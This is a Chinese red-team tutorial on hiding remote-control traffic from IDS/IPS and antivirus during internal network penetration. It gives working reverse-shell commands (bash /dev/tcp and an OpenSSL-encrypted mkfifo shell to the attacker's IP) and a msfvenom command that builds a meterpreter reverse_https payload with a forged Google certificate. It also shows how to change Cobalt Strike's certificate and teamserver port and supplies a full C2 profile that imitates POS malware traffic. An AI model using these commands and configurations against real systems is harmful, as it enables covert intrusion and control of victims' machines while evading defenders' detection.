加密远控流量

前言

  在进行内网渗透的时候,为了不被IDS,IPS发现,我们需要对流量进行混淆和加密。本章介绍使用OpenSSL对nc,msf,cs进行流量加密。

OpenSSL

  在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

  SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

NetCat

  攻击机输入nc -lvp 4444,靶机输入bash -c "bash -i>& /dev/tcp/ip地址/4444 0>&1",将得到靶机的反弹shell,执行dir后查看未加密的流量。
  
  可看到流量全部都是明文,下面使用OpenSSL对nc进行流量加密,在kali上生成自签名证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

  生成的证书会提示输入证书信息,可以一路回车,将会在当前目录下的生成key.pem和cert.pem。
  
  kali上执行开启OpenSSL监听

openssl s_server -quiet -key key.pem -cert cert.pem -port 5555

  
  靶机执行

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.127.132:5555 > /tmp/s; rm /tmp/s

  
  再次执行dir后,查看数据包,已经加密
  

MSF

  判断是不是msf的流量,主要是通过特征码来查杀。当msf的payload为reverse_tcp特征码为(可能随环境变化)

4d5ae8000000005b52455589e581c364130000ffd381c395…

  带特征码的数据包,可参考是否包含this is program can not be run in DOS mode。
  
  使用 OpenSSL 创建 SSL/TLS 证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

  
  上面模拟google的SSL证书信息,之后创建HTTP或者HTTPS类型的payload,生成shell.exe。为了绕过杀软,大部分都是生成shellcode来自己编译。

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.127.132 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.google.com.pem StagerVerifySSLCert=true -f exe -o shell.exe

  HandlerSSLCert:向处理程序通知所使用的PEM证书。
  StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
  PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。

  msf开启监听

use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST 192.168.127.132
set LPORT 4444
set HandlerSSLCert /root/www.google.com.pem
set StagerVerifySSLCert true
run

  设置HandlerSSLCert和StagerVerifySSLCert。为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。
  靶机运行shell.exe,成功得到shell
  
  在看数据包,走TLS协议,已经无特征码,反正我没有找到跟上图一样的特征码数据包。
  
  另外使用 revers_tcp_rc4 可以对回话进行加密,对免杀也有一定的帮助

Cobalt Strike

创建证书

  在运行cs的时候,默认使用证书为cs目录下的cobaltstrike.store。使用keytool,默认密码为123456查看证书信息,可以看到所有者,发布者等信息

keytool -list -v -keystore cobaltstrike.store

  
  默认特征很容易被查杀。所以删除掉原来的cobaltstrike.store,利用keytool重新生成证书。

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

  新的证书中所以关于cobaltstrike的字眼都被替换掉了。
  

修改默认端口

  vi teamserver进行默认端口修改,端口信息在文件的结尾。默认端口是50050,我这里修改成50000
  

修改C2-profile

  C2是攻击者发布命令和控制流量(受害者和服务器之间的信标)的一种方式,目的是避免检测,并能为每个目标创建自定义配置文件。
  创建test.profile

set sample_name "C2 POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
  set CN      "ZhongGuo";
  set O        "CCSEC";
  set C        "CN";
  set L        "BeiJing";
  set OU      "CC";
  set ST      "ChaoYang";
  set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
  set keystore "cobaltstrike.store";
  set password "123456";
  set alias "baidu.com";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";

http-post {
  set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
  client {
    header "Accept" "text/plain";
    header "Accept-Language" "en-us";
    header "Accept-Encoding" "text/plain";
    header "Content-Type" "application/x-www-form-urltrytryd";
    id {
      netbios;
      parameter "id";
    }
    output {
      base64;
      prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
      print;
    }
  }
  server {
    output {
      print;
    }
  }
}

http-get {
  set uri "/updates";
  client {
    metadata {
      netbiosu;
      prepend "user=";
      header "Cookie";
    }
  }
  server {
    header "Content-Type" "text/plain";
    output {
      base64;
      print;
    }
  }
}  

  github上已经有人配置好了C2-profile文件移步这里,使用c2lint检查配置文件是否配置正确

./c2lint test.profile

  
  使用以下命令,启动cs时,加载c2文件

./teamserver [IP] [password] [my.profile]

  抓取数据包,流量加密成功。
  

参考文章

Meterpreter免杀及对抗分析
红队 | 流量加密:使用OpenSSL进行远控流量加密

查看评论 -
评论